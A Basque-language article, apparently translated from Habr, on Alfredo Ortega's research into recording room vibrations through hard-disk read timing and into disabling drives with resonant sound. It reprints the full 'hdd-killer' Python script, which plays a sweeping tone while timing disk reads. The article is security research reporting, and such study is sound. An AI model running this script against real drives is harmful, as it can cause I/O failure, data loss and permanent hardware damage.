Zergatik ez diozu oihu egin behar zure HDDari

Zergatik ez diozu oihu egin behar zure HDDari

Buenos Airesen Ekoparty 2017ko segurtasun informatikoko konferentzian, Alfredo Ortega hacker argentinarrak garapen oso interesgarria erakutsi zuen: mikrofonorik erabili gabe lokalak ezkutuan entzun ahal izateko sistema bat. Soinua zuzenean disko gogorrean grabatua!

HDDak batez ere intentsitate handiko maiztasun baxuko soinuak, urratsak eta bestelako bibrazioak jasotzen ditu. Giza hizkera ezin da oraindik aitortu, nahiz eta zientzialariek norabide horretan ikerketak egiten ari dira (ahots-ezagutzea maiztasun baxuko bibrazioen bidez, adibidez, giroskopio edo HDD batetik grabatzen direnak).

Soinua airearen edo beste medio baten bibrazioa da. Pertsona batek tinpanoaren bidez hautematen ditu, barruko belarrira bibrazioak transmititzen dituena. Mikrofonoa belarri baten antzera diseinatuta dago; hemen ere bibrazioak mintz mehe batek grabatzen ditu, eta horrek bulkada elektriko bat kitzikatzen du. Disko gogorrak, noski, bibrazio mikroskopikoak ere jasaten ditu inguruko airearen gorabeheren ondorioz. Hori HDDen ezaugarri teknikoetatik ere ezagutzen da: fabrikatzaileek normalean onartzen den bibrazio-maila maximoa adierazten dute, eta disko gogorra bera sarritan saiatzen da kautxuz edo beste material isolatzailez egindako bibrazioen aurkako edukiontzi batean jartzen. Hortik erraz ondorioztatzen da soinuak HDD erabiliz graba daitezkeela. Falta dena da nola asmatzea.

Alfredo Ortegak alboko kanaleko eraso baten bertsio berezia proposatu zuen, hots, denboraren erasoa. Eraso hau gailuan une desberdinetan eragiketa desberdinak egiten direla suposatzen du, emandako sarrerako datuen arabera. Kasu honetan, "sarrerako datuak" irakurketa-buruaren eta HDD plakaren bibrazioak dira, ingurunearen bibrazioekin, hots, soinuarekin erlazionatzen direnak. Horrela, konputazio-denbora neurtuz eta datuen analisi estatistikoa eginez, buru/plateraren bibrazioak eta, hortaz, medioaren bibrazioak neur daitezke. Datuak irakurtzeko atzerapena zenbat eta luzeagoa izan, orduan eta indartsuagoak izango dira HDDaren bibrazioak eta, beraz, orduan eta ozenagoa izango da soinua.

Nola neurtu disko gogorreko bibrazioa? Oso erraza: exekutatu sistema-deia read () β€” eta erregistratu amaitzeko behar den denbora. Sistema eragile modernoek sistema-deien denbora nanosegundoko zehaztasunarekin irakurtzeko aukera ematen dute.

Sektore bateko informazioa irakurtzeko abiadura buruaren eta plateraren posizioaren araberakoa da, HDD kasuaren bibrazioekin erlazionatzen dena. Hori da dena.

Analisi estatistikoa Kscope utilitate sinple bat erabiliz egiten da. Esaten den bezala, burutsu dena sinplea da.

Zergatik ez diozu oihu egin behar zure HDDari
Kscope utilitatea (stat() syscall)

Kscope sistema-deien exekuzio-denboretan desberdintasun txikiak ikusteko erabilgarritasun txiki bat da. IturriaGitHub-en argitaratua.

Aparteko biltegi batean HDD-denbora Disko gogorrean denbora-eraso baterako konfiguratutako utilitatearen bertsio bat dago, hau da, sistema-deia aztertzeko konfiguratua. read ().

HDD erabiliz soinu grabaketaren erakustaldia, Kscope utilitatearen funtzionamendua


Noski, hizkera ezin da horrela ulertu, baina HDD nahiko egokia da bibrazio sentsore gisa. Adibidez, oinetako gogorrak edo oinutsik daramatzan pertsona bat ordenagailu batekin gela batera sartzen bada erregistra dezakezu (seguruenik, erasotzaileak zapatila bigunak jantzita baditu edo lurrean alfonbra lodi bat badago, HDDak ezin izango ditu bibrazioak erregistratu - hau egiaztatzea merezi du). Ordenagailua gai da hautsitako kristalak edo bestelako gorabeherak soinu-intentsitate handiarekin erregistratzeko. Hau da, disko gogorrak baimenik gabeko intrusioak detektatzeko sistema gisa balio dezake.

HDD hiltzailea

Bide batez, antzeko teknika erabil daiteke disko gogorrak desgaitzeko. Hemen bakarrik ez ditugu HDDtik oszilaziorik kentzen, aitzitik, HDDra elikatzen diren oszilazioak sortzen ditugu. Bozgorailu batetik soinua HDDaren maiztasunarekin oihartzuna duen maiztasun batean erreproduzitzen baduzu, sistemak laster itzaltzen du gailua I/O errore batekin (Linux nukleoak erabat itzaltzen du HDD 120 segundoren buruan). Disko gogorrak berak kalte itzulezinak jasan ditzake.

Zergatik ez diozu oihu egin behar zure HDDari
Linux kernelak disko gogorra itzali zuen Edifier r120u USB bozgorailuaren bidez soinua erresonantzia-maiztasun batean 19 segundo igaro ondoren. Bozgorailua potentziaren laurdenean (100 mW baino gutxiago) pizten da eta HDDtik 20 cm-ra dago, mahaira zuzenduta bibrazioak hobetzeko. Markoa bideoa HDD hiltzailearen erakustaldiarekin

Bitxia da, batzuetan, HDD-en halako "erasoak" guztiz ustekabean gertatzen direla eguneroko bizitzan. Esaterako, 2016ko irailean, ING Bankuaren datu-zentroak 10 orduz eragiketak etetera behartu zituen sute baten ondoren. Dozenaka disko gogor huts egin dute presio handian zilindroetatik askatzen den gas geldoaren soinu ozenaren ondorioz. Soinua oso ozena zen (130 dB baino gehiago), baina ezin diezu disko gogorrei oihu egin ere; honek HDDra sartzeko atzerapena areagotzen du.

Datu-zentro bateko disko gogorretan gizakien garrasiaren erakustaldia. Latentziaren neurketa


Soinu oihartzuna sortzeko, Alfredo Ortegak Python izeneko gidoia idatzi zuen hdd-hiltzailea (bideo erakustaldia).

HDD hiltzaileen gidoia Nahiko txikia da, beraz, hemen argitaratu dezakezu osorik.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Iturria: www.habr.com

Gehitu iruzkin berria